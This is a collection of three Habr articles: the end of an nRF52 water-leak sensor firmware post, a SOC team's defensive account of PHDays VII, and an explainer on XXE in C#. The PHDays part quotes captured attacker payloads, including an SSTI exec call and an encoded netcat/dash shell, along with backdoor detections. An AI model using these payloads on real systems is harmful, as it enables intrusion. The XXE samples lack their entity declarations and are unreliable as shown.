digitalWrite(POWER\_PIN, HIGH);
wait(3000);
pinMode(RED\_LED, OUTPUT);
digitalWrite(RED\_LED, HIGH);
pinMode(GREEN\_LED, OUTPUT);
digitalWrite(GREEN\_LED, HIGH);
pinMode(BLUE\_LED, OUTPUT);
digitalWrite(BLUE\_LED, HIGH);
pinMode(PIN\_BUTTON, INPUT);
pinMode(W\_L\_SENS, INPUT);
//pinMode(24, OUTPUT);
//pinMode(20, OUTPUT);
}
void before()
{
NRF\_POWER->DCDCEN = 1;
NRF\_UART0->ENABLE = 0;
digitalWrite(BLUE\_LED, LOW);
sleep(50);
digitalWrite(BLUE\_LED, HIGH);
}
void presentation() {
sendSketchInfo("EFEKTA ST WL Sensor", "1.1");
present(W\_L\_SENS\_CHILD\_ID, S\_CUSTOM, "SWITCH STATUS");
present(LINK\_QUALITY\_CHILD\_ID, S\_CUSTOM, "LINK\_QUALITY");
}
void setup() {
digitalWrite(BLUE\_LED, LOW);
wait(100);
digitalWrite(BLUE\_LED, HIGH);
wait(200);
digitalWrite(BLUE\_LED, LOW);
wait(100);
digitalWrite(BLUE\_LED, HIGH);
lpComp();
detection = false;
SLEEP\_TIME\_W = SLEEP\_TIME;
wait(100);
sendBatteryStatus();
wait(100);
send(sensMsg.set(detection), 1);
wait(2000, 1, V\_VAR1);
}
void loop() {
if (nosleep == 0) {
oldmillis = millis();
sleep(SLEEP\_TIME\_W);
}
if (detection) {
if (digitalRead(PIN\_BUTTON) == 1 && button\_flag == 0 && digitalRead(W\_L\_SENS) == 0) {
//back side button detection
button\_flag = 1;
nosleep = 1;
}
if (digitalRead(PIN\_BUTTON) == 1 && button\_flag == 1 && digitalRead(W\_L\_SENS) == 0) {
digitalWrite(GREEN\_LED, LOW);
wait(10);
digitalWrite(GREEN\_LED, HIGH);
wait(50);
}
if (digitalRead(PIN\_BUTTON) == 0 && button\_flag == 1 && digitalRead(W\_L\_SENS) == 0) {
nosleep = 0;
button\_flag = 0;
digitalWrite(GREEN\_LED, HIGH);
lpComp\_reset();
}
if (digitalRead(W\_L\_SENS) == 1 && digitalRead(PIN\_BUTTON) == 0) {
//sens detection
newmillis = millis();
interrupt\_time = newmillis - oldmillis;
SLEEP\_TIME\_W = SLEEP\_TIME\_W - interrupt\_time;
send(sensMsg.set(detection), 1);
wait(3000, 1, V\_VAR1);
if (AckG == 1) {
while (timer < 10) {
timer++;
digitalWrite(BLUE\_LED, LOW);
wait(20);
digitalWrite(BLUE\_LED, HIGH);
wait(30);
}
timer = 0;
AckG = 0;
wait(200);
} else {
while (timer < 10) {
timer++;
digitalWrite(RED\_LED, LOW);
wait(20);
digitalWrite(RED\_LED, HIGH);
wait(30);
}
timer = 0;
send(sensMsg.set(detection), 1);
wait(3000, 1, V\_VAR1);
if (AckG == 1) {
while (timer < 10) {
timer++;
digitalWrite(BLUE\_LED, LOW);
wait(20);
digitalWrite(BLUE\_LED, HIGH);
wait(30);
}
timer = 0;
AckG = 0;
} else {
while (timer < 10) {
timer++;
digitalWrite(RED\_LED, LOW);
wait(20);
digitalWrite(RED\_LED, HIGH);
wait(30);
}
timer = 0;
}
lpComp\_reset();
}
}
if (SLEEP\_TIME\_W < 60000) {
SLEEP\_TIME\_W = SLEEP\_TIME;
sendBatteryStatus();
}
}
else {
//if (detection == -1) {
SLEEP\_TIME\_W = SLEEP\_TIME;
sendBatteryStatus();
}
}
void receive(const MyMessage & message) {
if (message.type == V\_VAR1) {
if (message.sensor == W\_L\_SENS\_CHILD\_ID) {
if (mGetCommand(message) == 1) {
if (message.isAck()) {
AckG = 1;
} else {
}
}
}
}
if (message.type == I\_BATTERY\_LEVEL) {
if (message.sensor == 255) {
if (mGetCommand(message) == 3) {
if (message.isAck()) {
AckB = 1;
} else {
}
}
}
}
if (message.type == V\_VAR1) {
if (message.sensor == 255) {
if (mGetCommand(message) == 1) {
if (message.isAck()) {
AckL = 1;
} else {
}
}
}
}
}
void sendBatteryStatus() {
wait(100);
batteryVoltage = hwCPUVoltage();
wait(20);
if (batteryVoltage > battery\_vcc\_max) {
currentBatteryPercent = 100;
}
else if (batteryVoltage < battery\_vcc\_min) {
currentBatteryPercent = 0;
} else {
currentBatteryPercent = (100 \* (batteryVoltage - battery\_vcc\_min)) / (battery\_vcc\_max - battery\_vcc\_min);
}
sendBatteryLevel(currentBatteryPercent, 1);
wait(3000, C\_INTERNAL, I\_BATTERY\_LEVEL);
if (AckB == 1) {
AckB = 0;
flag\_lq = 1;
} else {
sendBatteryLevel(currentBatteryPercent, 1);
wait(3000, C\_INTERNAL, I\_BATTERY\_LEVEL);
if (AckB == 1) {
AckB = 0;
flag\_lq = 1;
}
}
//send(powerMsg.set(batteryVoltage), 1);
//wait(2000, 1, V\_VAR1);
//sleep(10000); //
if (flag\_lq == 1) {
linkQuality = calculationRxQuality();
wait(50);
sendSignalStrength(linkQuality, 1);
wait(2000, 1, V\_VAR1);
if (AckL == 1) {
AckL = 0;
} else {
sendSignalStrength(linkQuality, 1);
wait(2000, 1, V\_VAR1);
if (AckL == 1) {
AckG = 0;
}
}
flag\_lq = 0;
}
}
void lpComp() {
NRF\_LPCOMP->PSEL = INTR\_PIN;
NRF\_LPCOMP->ANADETECT = 1;
NRF\_LPCOMP->INTENSET = B0100;
NRF\_LPCOMP->ENABLE = 1;
NRF\_LPCOMP->TASKS\_START = 1;
NVIC\_SetPriority(LPCOMP\_IRQn, 15);
NVIC\_ClearPendingIRQ(LPCOMP\_IRQn);
NVIC\_EnableIRQ(LPCOMP\_IRQn);
}
void s\_lpComp() {
if ((NRF\_LPCOMP->ENABLE) && (NRF\_LPCOMP->EVENTS\_READY)) {
NRF\_LPCOMP->INTENCLR = B0100;
}
}
void r\_lpComp() {
NRF\_LPCOMP->INTENSET = B0100;
}
#if \_\_CORTEX\_M == 0x04
#define NRF5\_RESET\_EVENT(event) \
event = 0; \
(void)event
#else
#define NRF5\_RESET\_EVENT(event) event = 0
#endif
void lpComp\_reset () {
s\_lpComp();
detection = false;
NRF\_LPCOMP->EVENTS\_UP = 0;
r\_lpComp();
}
//\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* very experimental \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
bool sendSignalStrength(const int16\_t level, const bool ack)
{
return \_sendRoute(build(\_msgTmp, GATEWAY\_ADDRESS, NODE\_SENSOR\_ID, C\_SET, V\_VAR1,
ack).set(level));
}
int16\_t calculationRxQuality() {
int16\_t nRFRSSI\_temp = transportGetReceivingRSSI();
int16\_t nRFRSSI = map(nRFRSSI\_temp, -85, -40, 0, 100);
if (nRFRSSI < 0) {
nRFRSSI = 0;
}
if (nRFRSSI > 100) {
nRFRSSI = 100;
}
return nRFRSSI;
}
//\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* very experimental \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
extern "C" {
void LPCOMP\_IRQHandler(void) {
detection = true;
NRF5\_RESET\_EVENT(NRF\_LPCOMP->EVENTS\_UP);
NRF\_LPCOMP->EVENTS\_UP = 0;
MY\_HW\_RTC->CC[0] = (MY\_HW\_RTC->COUNTER + 2);
}
}
```
MyBoardNRF5.h
```
#ifndef _MYBOARDNRF5_H_
#define _MYBOARDNRF5_H_
#ifdef __cplusplus
extern "C"
{
#endif // __cplusplus
#define PINS_COUNT (32u)
#define NUM_DIGITAL_PINS (32u)
#define NUM_ANALOG_INPUTS (8u)
#define NUM_ANALOG_OUTPUTS (8u)
#define PIN_LED1 (27)
#define PIN_LED2 (25)
#define PIN_LED3 (26)
#define RED_LED (PIN_LED1)
#define GREEN_LED (PIN_LED2)
#define BLUE_LED (PIN_LED3)
#define PIN_BUTTON (14)
#define W_L_SENS (8)
#define POWER_PIN (7)
#define PIN_SERIAL_RX (12)
#define PIN_SERIAL_TX (11)
#ifdef __cplusplus
}
#endif
#endif
```
nRF52832 программно настроен на работу в режиме пониженного энергопотребления (DC-DC Mode), Вывод МК из сна по сигналу от микросхемы SN74LVC1G00 настроен через внутренний компаратор LPCOMP. Устройство так же имеет тактовую кнопку для реализации сервисных режимов, таких как привязка устройства, обнуление устройства и т.п. Кнопка заведена на ту же ножку МК что и детектор протечки. Обе линии разделены диодами Шоттки. Микросхема SN74LVC1G00 в режиме мониторинга ничего не потребляет. Управление питанием микросхемы осуществляется с ножки МК.
На данный момент почти закончена разработка контроллера протечки воды, с которым данные датчики должны работать.
**Видео с демонстрацией работы датчика протечки**
[GitHub проекта](https://github.com/smartboxchannel/EFEKTA_WATER_LEAK_SENSOR)
(гербер файлы, софт, модели корпуса, список компонентов)
Место где всегда с радостью помогут всем кто хочется познакомиться с MYSENSORS (установка плат, работа с микроконтроллерами nRF5 в среде Arduino IDE, советы по работе с протоколом mysensors, обсуждение новых авторских проектов — [телеграмм чат @mysensors\_rus](https://tgclick.com/mysensors_rus). | https://habr.com/ru/post/460177/ | null | ru | null |
# PHDays VII: хроники «Противостояния»
В этом году перед «Противостоянием» мы в очередной раз собрали сборную «солянку» частично из сотрудников Solar Security, частично из неравнодушных друзей и SOCостроителей России. В статье попробуем описать весь процесс участия в «Противостоянии» — какие были «пасхалки» от организаторов, какие шли атаки, как мы защищались, какие инструменты отработали и т.д.
В прошлом году наша команда занималась мониторингом Телекома (который по инфраструктуре не сильно отличался от Офиса, но не суть). В этом году SOCов стало меньше, инфраструктура Телекома лишилась домена, рабочих станций и большей части серверов, и мы решили поработать еще и с Офисом.
У каждого участника на противостоянии были свои цели и задачи. Для нас основной задачей была возможность в «боевых условиях» проверить контент по работе с endpoint (сетевую часть мы проверили в прошлом году), идеи по выявлению различных методов доставки вредоносного ПО на рабочие станции пользователей и закрепления Атакующих в инфраструктуре. Офис для этого подходил идеально, особенно с учетом того, что организаторы обещали «врага внутри».
Если подвести интегральную оценку мероприятия, все было достаточно бодро и интересно. Обе инфраструктуры, которые мы защищали, обошлись без успешных атак в области защиты и при работе (GSM Телекома оказался не в скоупе защиты или мониторинга). Инфраструктуры от атакующих мы защитили полностью (хотя команда Телекома и получила желтую карточку за споры с арбитром). Еще по дороге нашли пару «пасхалок» от организаторов, чем, видимо, и лишили себя увлекательной борьбы с внутренним врагом. Теперь обо всем по порядку.
### Этап подготовки, или как инфраструктура выглядит до начала игры
1. По задумке организаторов, «в целях сохранения баланса в инфраструктурах компаний присутствует постоянное, с небольшим люфтом, число уязвимостей». На практике это выглядит как Windows 2008 R2 без единого обновления на всех 50 хостах. Это был первый сюрприз. При этом возможность обновления ОС выбивали чуть ли не с боем, ибо должен быть «баланс».
Но обновляться надо в любом случае, т.к., например, Sysmon v6 на Windows 2008 и Windows 7 уже не устанавливается, поскольку ОС не может проверить цифровую подпись. [Решение](https://support.microsoft.com/en-us/help/3033929/microsoft-security-advisory-availability-of-sha-2-code-signing-support-for-windows-7-and-windows-server-2008-r2-march-10,-2015).
2. Вторым сюрпризом было число Web-приложений в инфраструктуре офиса. Видимо, решили собрать все известные платформы с наибольшим количеством дырявого софта.
3. Как выглядела инфраструктура в целом:
* 25 серверов с OS Windows 2008 R2. Основной функционал – база mysql под каждый из внешних веб-сервисов.
* 25 рабочих станций Windows 7.
* 32 внешних сервиса, преимущественно Ubuntu с разнообразным веб-контентом.
СЗИ, на которые у Защитников хватило средств:
* CheckPoint FW + IPS на внешнем периметре сети.
* Kaspersky AV 10 на рабочих станциях + Kaspersky for windows server 8.0 на серверах.
* Kaspersky for Linux на внешних веб серверах.
* ObserveIT на всех серверах инфраструктуры.
Мониторинг в SOC:
* ArcSight – СЗИ + аудит ОС.
* Splunk – netflow + Unix Audit. Мониторинг Web + мониторинг сетевых атак, наличия новых хостов\сервисов.
4. По договоренности с Защитниками помимо мониторинга мы взяли на себя реагирование по Windows-инфраструктуре. В том числе и по той причине, что необходимый нам аудит раскатывается не совсем тривиально и нам самим нужно было определить проблемные места.
### Общая концепция мониторинга инфраструктуры
1. Внешний Web:
* На уровне ОС – auth log + auditd на EXECVE + изменение конфигов Web-сервера и каталогов /tmp/.
* Аудит выполняемых команд в bash (что-то вроде [webplay.pro/linux/syslog-log-bash-history-every-user.html](http://webplay.pro/linux/syslog-log-bash-history-every-user.html), но сильно улучшенное).
* Надежда на CheckPoint IPS.
* Kaspersky AV на Linux. Не то чтобы мы в него сильно верили, но раз уж он есть...
Задачи для мониторинга (взяли по минимуму, чтобы не совсем стыдно было):
* Внешние сканирования.
* Подборы паролей и входы на сервера по SSH не из наших сегментов.
* Создание скриптов в ОС.
* Немного кастомных сценариев, которые дописывались на лету под изменение инфраструктуры.
2. ОС Windows:
* Sysmon v6:
+ Запуск процессов (много плюсов по сравнению со стандартным аудитом Windows).
+ Создание файлов и изменение реестра (включается сразу на весь хост, не нужно настраивать отдельно на каждом каталоге).
+ Загрузка библиотек (очень хотелось увидеть использование «хакерами» различного вредоносного ПО).
+ Обращение к адресному пространству других процессов.
* Аудит OS Windows (Advanced Audit Configuration).
Здесь тоже нет никакой магии, все стандартно. Единственный момент – в обязательном порядке включался аудит категории «Filtering Platform Connection», в которой есть возможность сопоставить сетевые события с процессами, которые эти соединения инициируют.
* Пара библиотек, которые на старте инжектятся в процессы cmd.exe и powershell.exe и логируют все введенные команды. Чудесная вещь :)
* Несколько «сюрпризов» для Атакующих:
+ Взяли на вооружение опыт обследований на проектах и сделали УЗ svcbackup в домене с паролем в комментариях. И рядом правило на детект любой активности под этой УЗ:
+ Патчи ставить – это хорошо и правильно, но несправедливо по отношению к Атакующим. Поэтому мы решили помочь организаторам, и обновления на ОС стали выглядеть так:
+ Мы все же ждали, что Атакующие быстро попадут внутрь сети, поэтому через домен практически на все рабочие станции раскатили LSA Protect для защиты от Mimikatz. Но при этом не для всех типов УЗ, и только Logon Credential
```
HKLM\SYSYTEM\CurrentControlSet\Control\SecurityProvider\Wdigest /v UseLogonCredential /t REG_DWORD /d 0
```
Естественно, с мониторингом изменения соответствующего параметра в реестре.
+ На случай, если бы Атакующие при попадании в систему попытались бы отключить нас от управления (например, включив блокирующие правила на FW), был подготовлен скрипт, работающий по расписанию и меняющий политику на исходную при наличии событий включения FW:
**Внимание, спойлер!**
```
$compname = Get-WMIObject Win32_ComputerSystem | Select-Object -ExpandProperty name
$outputevent = Get-WinEvent –LogName "Microsoft-Windows-Windows Firewall With Advanced Security/Firewall" | Where-object {$_.ID -eq 2003} | Format-list TimeCreated, Message | Out-File $env:temp\JSOC_TEMP_FW
#reg.exp = (?i).(.*value.*yes)
$readoutputeventE = type $env:temp\JSOC_TEMP_FW | Select-String -Pattern "Value: Yes"
if ($readoutputeventE)
{
& $env:systemroot\getrulesFW.vbe
& $env:systemroot\System32\cmd.exe /c netsh advfirewall import $env:systemroot\JSOC.wfw
Get-WinEvent –LogName "Microsoft-Windows-Windows Firewall With Advanced Security/Firewall" | Where-object {$_.ID -eq 2003} | Format-list TimeCreated, Message | Out-File $env:temp\JSOC_FW_LOG
& $env:systemroot\System32\wevtutil.exe cl "Microsoft-Windows-Windows Firewall With Advanced Security/Firewall"
Write-EventLog –LogName Application –Source "Application" –EntryType Information –EventID 666 –Message "Firewall enabled detected: START AUTORESPONSE!!1111"
}
```
3. Контент по мониторингу ОС Windows в итоге разбился на несколько частей:
* Стандартный контент Solar JSOC, который работает на всех заказчиках.
* Отдельные правила по детектированию аномальной активности и попыток закрепления в ОС.
Про первую часть писать неинтересно, а вот на второй остановимся немного подробнее.
Общая идея следующая:
1. Детектируем варианты закрепления в ОС. Описывать долго, лучше дам ссылку на отличную презентацию коллег из ЛК на PHDays, которые замечательно расписали все методы детектирования: [www.phdays.com/program/231388](https://www.phdays.com/program/231388/)
2. Детектируем сетевую активность системных процессов. Для этого собирали профили работы и настраивали списки исключений по тому, что было признано легитимным.
3. Детектируем активность системных процессов на файловой системе и в реестре. Для этого также собирали профили и составляли списки разрешенной активности.
4. Детектируем изменение веток реестра, которые отвечают за автозапуск приложений и библиотек при старте системы и/или входе пользователя.
5. Детектируем изменение веток реестра, которые отвечают за защиту от условного mimikatz и его аналогов, изменения командлетов powershell и т.д.
В целом это тема для отдельных статей, возможно, чуть позже опишем подробнее.
После того, как весь аудит был настроен и запущены правила, появились первые результаты. Начали фиксировать сетевую активность от процесса svchost.exe на некий внешний сервер 208.91.197.46:9999, которого не было в нашем профиле. В ArcSight это выглядело следующим образом:
После беглого анализа выяснилось, что вредоносный код используется в svchost.exe через вредоносную dll: c:\windows\FileName.jpg:
Параллельно с ней обнаружился еще один вредонос на том же сервере. Вот только функционал не успели изучить, удалили сразу же, как увидели :)
```
c:\program files (x86)\wina\wina.exe (471d39a51a79f342033c5b0636c244dc).
```
[www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj\_scar.alr](https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_scar.alr) + [www.virustotal.com/ru/file/1154535130d546eaa33bbc9051a9cb91e2b0e3a3991286c3d5b0a708110c9aa7/analysis](https://www.virustotal.com/ru/file/1154535130d546eaa33bbc9051a9cb91e2b0e3a3991286c3d5b0a708110c9aa7/analysis/)
Возможно, это стало нашей самой большой ошибкой за время противостояния, но мы «прибили» этот сюрприз от организаторов еще до начала игры. Вполне вероятно, что он был частью какого-то масштабного плана, но уже поздно о чем-то сожалеть :)
С такими результатами мы и пошли спать последний раз перед началом игры.
### Противостояние
**Мониторинг доступности инфраструктуры и актуальность настроек аудита**
По опыту прошлого года было понятно, что инфраструктура нестатична и может меняться в произвольные моменты времени. Вот только если в прошлом году она росла (нам прилетело 6 хостов на внешнем периметре в течение 10 минут), то в этом стала стремительно сокращаться. На момент старта количество серверов внутри сети сократилось до 11, и количество рабочих станций – до 15.
В таких условиях быстро стало понятно, что, несмотря на настроенный аудит, нужна достоверная информация о его состоянии. Ведь если виртуалку с любым из хостов откатят, то мы останемся и без патчей, и без мониторинга.
В итоге приличная часть времени уходила на то, чтобы оперативно разбираться с возникающими проблемами. Хосты периодически подвисали (вход в консоль по RDP мог занимать полчаса), их ребутали, и все это серьезно портило нервы. Одно радует – мониторинг доступности сработал на все 100.
**Первые инциденты – Web**
Ожидаемо все начинается с внешних веб-сервисов. Сканировали постоянно, пытались закидывать шеллы и дефейсить сайты периодически.
Вот так иногда атакующие раскрывают себя (успешная эксплуатация SSTI в фотохостинге: [defcon.ru/web-security/3840](https://defcon.ru/web-security/3840/)):
```
/var/lib/php5/sess_vhd4sts3mpk78n4qacc4o8knm0:logged|b:1;name|s:98:"{{_self.env.registerUndefinedFilterCallback('exec')}} {{_self.env.getFilter('ping 100.64.199.5')}}";username|s:4:"test";avatar|s:25:"images/default_avatar.jpg";
```
В итоге в условиях PHDays вполне неплохо отработало правило:
Теперь любая попытка получить контроль над хостом и инициировать соединения на свои хосты вполне неплохо детектировалась.
В какой-то момент смотреть за всем этим стало скучно и на сервере сделали chmod –x /bin/nc.
Результат:
```
[Tue May 23 21:41:36.273170 2017] [:error] [pid 4203] [client 198.18.78.12:23814] PHP Notice: Undefined index: avatar in /var/www/html/models/User.php on line 21, referer: http://203.0.113.155/login.php
sh: 1: /bin/nc: Permission denied
sh: 1: /bin/nc: Permission denied
```
Видимо, народ со стороны Атакующих несколько обиделся и пошли запросы такие:
```
198.18.78.12 - - [24/May/2017:01:48:33 +0400] "GET /xymfrxtestfilehu****.php?hu***a=%63%61%74%20%2f%74%6d%70%2f%6d%79%70%69%70%65%7c%2f%62%69%6e%2f%64%61%73%68%20%32%3e%26%31%7c%6e%63%20%2d%6c%20%39%39%39%39%20%3e%2f%74%6d%70%2f%6d%79%70%69%70%65 HTTP/1.1" 200 1985 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
```
Общие результаты:
1. Подключение к базе (напомню, web-серверы во внешнем сегменте, а их базы данных – внутри сети) на всех серверах не отличалось оригинальностью:
```
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'wordpressuser');
/** MySQL database password */
define('DB_PASSWORD', 'secondstrongpassword');
/** MySQL hostname */
define('DB_HOST', 'o-srv05.office.cityf');
```
Однажды этим даже воспользовались :)
2. Удивительно, но большое количество попыток залить что-то на сервер детектировалось AV Kaspersky:
```
Object HEUR:Backdoor.PHP.PhpShell.eg is detected in /var/www/modx/temp/8f18b8d9d5a4cdbbe1f2962fa3868dd4/fonts/s.php
Object HEUR:Backdoor.Multi.Mibsun.gen is detected in /tmp/.Xorg/tshd
Object HEUR:Backdoor.Linux.Agent.ai is detected in /tmp/.Xorg/tsh/tsh
Object HEUR:Exploit.Linux.CVE-2017-7308.a is detected in /tmp/pwn123
Object HEUR:Exploit.Linux.Dirtycow.a is detected in /tmp/cowroot
```
3. Мониторинг error-лога веб-сервера + аудит запуска приложений – частично решают проблему отсутствия WAF.
4. Без WAF очень плохо. Быстро закрыть какую-то дыру в некоторых случаях просто невозможно.
**А где же атаки внутри сети?**
За все время мониторинга не было зафиксировано ни одного проникновения атакующих за периметр Офиса.
Наверное, в этом самое большое разочарование в прошедшем PHDays, поскольку работа с коллбэками, внедренным вредоносным ПО и инсайдерами – один из очень серьезных пластов жизни текущей информационной безопасности и SOCа. Общаясь с коллегами из команд Защитников, мы слышали от всех, что основной вектор направлен на преодоление периметра: сканят веб, иногда дефейсят сайты, используют уязвимости.
При этом мы регулярно проводили свои проверки на детекты по разным хостам, и все они проходили успешно. Все, что мы планировали детектировать – все отрабатывало.
К сожалению, ввиду отсутствия атак, детально показать логику обнаружения не выйдет. Поэтому пара примеров, как подобные детекты выглядят в нашей инфраструктуре:
1. Пример внедрения кейлоггера в процесс mstsc.exe. Алерт на не подписанную библиотеку -> Смотрим обращения к процессу, который эту библиотеку загрузил -> По PID получаем дальнейшую активность и исходные вредоносные библиотеки.
2. SandBox SIEM Так выглядит криптор обыкновенный:
В целом наличие незащищенной инфраструктуры и банка в режиме мониторинга, а не блокирования сильно изменило фокус внимания Атакующих. Большую часть времени они концентрировались на взломе и аудите защищенности именно этой инфраструктуры, а не на пробивании оборонительных редутов Защитников и SOCов. В итоге и часть богатого инструментария Атакующих не была применена на инфраструктурах Защитников, и часть сюрпризов Защитников и SOCов по детекту и противодействию осталась не до конца проверенной в боевых условиях.
Тем не менее, не стоит воспринимать это как критику в сторону организаторов. Они проделали колоссальный объем работ по запуску мероприятия, инфраструктур и сложных интеграций, и при всех возникающих сложностях PHDays подтвердило свой статус одной из ключевых ИБ-конференций. Но SOCам и Защитникам хочется больше огня и хардкора, и мы готовы помочь в его изобретении ;) | https://habr.com/ru/post/329890/ | null | ru | null |
# Vulnerabilities due to XML files processing: XXE in C# applications in theory and in practice
How can simple XML files processing turn into a security weakness? How can a blog deployed on your machine cause a data leak? Today we'll find answers to these questions, learn what XXE is and how it looks like.
Before we begin, note that there are several types of vulnerabilities related to XML processing. The most popular vulnerabilities are XXE, XEE, and XPath injection. In this article we inspect XXE. If you're interested in the essence of an XEE attack, you can read this article: "[How Visual Studio 2022 ate up 100 GB of memory and what XML bombs had to do with it](https://pvs-studio.com/en/blog/posts/csharp/0865/)". We'll get to XPath injection some time later. :)
What is XXE?
------------
XXE (XML eXternal Entities) is an application security weakness. The possible source of this attack — compromised data processed by an insecurely configured XML parser. This attack can result in disclosure of data from the target machine or server-side request forgery (SSRF).
XML files may contain the document type definition ([DTD](https://en.wikipedia.org/wiki/Document_type_definition)), which describes the structure of an XML file. DTD allows us to define and use XML entities.
It can look like this:
```
xml version="1.0" encoding="utf-8" ?
]>
&myEntity
```
In this XML, we declare *myEntity* and use it further — *&myEntity*. In this case, the entity is internal and is defined as literal. If an XML parser expands this entity, it substitutes *&myEntity* with the actual value — *lol*. Besides, some internal entities can expand through others. XML bombs can be created this way and perform [XEE attacks](https://pvs-studio.com/en/blog/terms/6545/).
However, entities can be external. They can refer to some local files or access external resources:
Here's an example of an XML file where an external entity refers to a local file:
```
xml version="1.0" encoding="utf-8" ?
]>
&myExternalEntity
```
In this case, an XML parser substitutes *myExternalEntity* with the contents of the file along path *D:/HelloWorld.cs*. If it's properly configured, of course.
XXE attack exploits the feature above.
Here's an example. Let's assume that there's an application that accepts queries as XML files and processes items with the corresponding ID.
The application works with the following XML file format:
```
xml version="1.0" encoding="utf-8" ?
62
```
Simplified C# code:
```
static void ProcessItemWithID(XmlReader reader, String pathToXmlFile)
{
....
while (reader.Read())
{
if (reader.Name == "itemID")
{
var itemIdStr = reader.ReadElementContentAsString();
if (long.TryParse(itemIdStr, out var itemIdValue))
{
// Process item with the 'itemIdValue' value
Console.WriteLine(
$"An item with the '{itemIdValue}' ID was processed.");
}
else
{
Console.WriteLine($"{itemIdStr} is not valid 'itemID' value.");
}
}
}
}
```
The logic is simple:
* If ID is a number, the application will report that the corresponding item was processed;
* If ID is not a number, the application will issue an error.
Thus, for the XML file above, the application will display the following line:
```
An item with the '62' ID was processed.
```
If we insert something else in the ID instead of the number ("*Hello world*", for example), the application reports an error:
```
"Hello world" is not valid 'itemID' value.
```
If an XML parser (*reader*) processes external entities, this is a security flaw. Below is an XML file that can be used to compromise the application:
```
xml version="1.0" encoding="utf-8" ?
]>
&xxe
```
The *xxe* external entity is declared in this file. When an XML parser process this file, it substitutes *&xxe* with the contents of the file along path *D:/MySecrets.txt*. For example, *"This is an XXE attack target."*. As a result, the application will display the following:
```
"This is an XXE attack target." is not valid 'itemID' value.
```
Thus, an application will be vulnerable to XXE attacks, if:
* a developer configured an XML parser in such a way that it insecurely processes external entities;
* an attacker can directly/indirectly pass compromised data to the parser.
If an attacker can obtain the value of the entity, they can get the file contents from the compromised device. This is already dangerous. Besides, an attacker can get more data about the system as a whole and find other security weaknesses.
XXE can also lead to an SSRF attack. The hacker may not have access to some resources (access restricted for external users), but the exploited application may have it. Since XXE allows to make requests over the network, a compromised application is a breach in the resource protection.
Speaking about the importance and danger of XXE — this security weakness is often mentioned in various standards, tops, and enumerations.
**CWE**
The Common Weakness Enumeration has a separate entry for XXE: [CWE-611: Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html).
**CWE Top 25**
Every year 25 most common and dangerous weaknesses are selected from the CWE list to compile the [CWE Top 25](https://cwe.mitre.org/top25/archive/2021/2021_cwe_top25.html).
In 2021, XXE lost 4 positions compared to 2020, but remained in the top on the 23d place.
**OWASP ASVS**
[OWASP ASVS](https://owasp.org/www-project-application-security-verification-standard/)(Application Security Verification Standard)contains requirements for secure development. It also has an entry about XXE: *OWASP ASVS 4.0.3 (ID 5.5.2): Verify that the application correctly restricts XML parsers to only use the most restrictive configuration possible and to ensure that unsafe features such as resolving external entities are disabled to prevent XML eXternal Entity (XXE) attacks*.
**OWASP Top 10**
The OWASP Top 10 2017 had a separate category for XXE: [A4:2017-XML External Entities (XXE)](https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE)). In the OWASP Top 10 2021 a separate category for XXE was eliminated. XXE now belongs to [A05:2021-Security Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration/).
XXE components in C#
--------------------
As I mentioned above, XXE needs at least two components: an insecurely configured parser and data from the attacker that this parser processes.
### Tainted data
Everything is quite simple here. The application has several places where it accepts external data. It has to be processed carefully — not all people use an application for its intended purpose.
Such application places are console application arguments, various form fields, query data, etc. The first thing that comes to mind is console input.
```
var taintedVar = Console.ReadLine();
```
We don't know what's inside *taintedVar*. This variable can contain data in the expected format or a string to compromise the system. We can't trust it.
You can read more about it in the "Taint sources" section of "[OWASP, vulnerabilities, and taint analysis in PVS-Studio for C#. Stir, but don't shake](https://pvs-studio.com/en/blog/posts/csharp/0831/). You should also be suspicious of public access parameters. The data in those methods may be safe or not. You can read about it [here](https://pvs-studio.com/en/blog/posts/csharp/0835/).
### XML parsers
An XML parser is vulnerable to XXE, if:
* it processes DTD;
* it uses insecure *XmlResolver*.
If an XML parser does not set a limit on the entities' maximum size (or the size is large), this may worsen the attack, since the attacker will be able to extract larger amounts of data.
#### Configuring the parser
The desired behavior is set with the following properties:
* *ProhibitDtd*;
* *DtdProcessing*;
* *XmlResolver*;
* *MaxCharactersFromEntities*.
Some XML parsers have all these options, others — don't. Their semantic meaning does not change from type to type.
**ProhibitDtd**
The *ProhibitDtd* property has the *Obsolete* attribute. Now the *DtdProcessing* property is used instead of *ProhibitDtd*. Still, it can be used in the old code. The *true* value prohibits DTD processing, *false* — allows it.
**DtdProcessing**
The *DtdProcessing* propertyhas the *System.Xml.DtdProcessing* typeand can take the *Prohibit*, *Ignore* and *Parse* values:
* *Prohibit* — prohibits DTD processing. If the parser meets DTD when processing an XML file, an exception of the *XmlException* type is thrown.
* *Ignore* — the parser just skips DTD.
* *Parse* — the parser processes DTD.
You probably have a question now, and I'll answer it. If the *ProhibitDtd* and *DtdProcessing* properties occur together in code (for example, in *XmlReaderSettings*), they are related to each other. So, if you prohibit DTD in one property and allow in another, only the last option set would be applied. :)
**XmlResolver**
The *XmlResolver* property is responsible for the object used to process external entities. The safest option — absence of resolver at all (*null* value). In this case, even if DTD processing is enabled, external entities won't expand.
**MaxCharactersFromEntities**
Another option of interest for us. *MaxCharactersFromEntities* is responsible for the maximum allowable size of entities. The bigger the value, the potentially more information will be extracted during an XXE attack.
#### XML parser types
The most common standard types to work with XML are *XmlReader*, *XmlTextReader*, *XmlDocument*. Note that the list is not limited to them.
Once again, the configuration of a parser is dangerous, if:
* this parser processes DTD;
* it has a dangerous resolver (for example, *XmlUrlResolver* in its default state).
**XmlReader**
The *XmlReaderSettings* object, created explicitly or implicitly, configures behavior of the *XmlReader*. The *XmlReaderSettings* type has all the settings listed earlier.
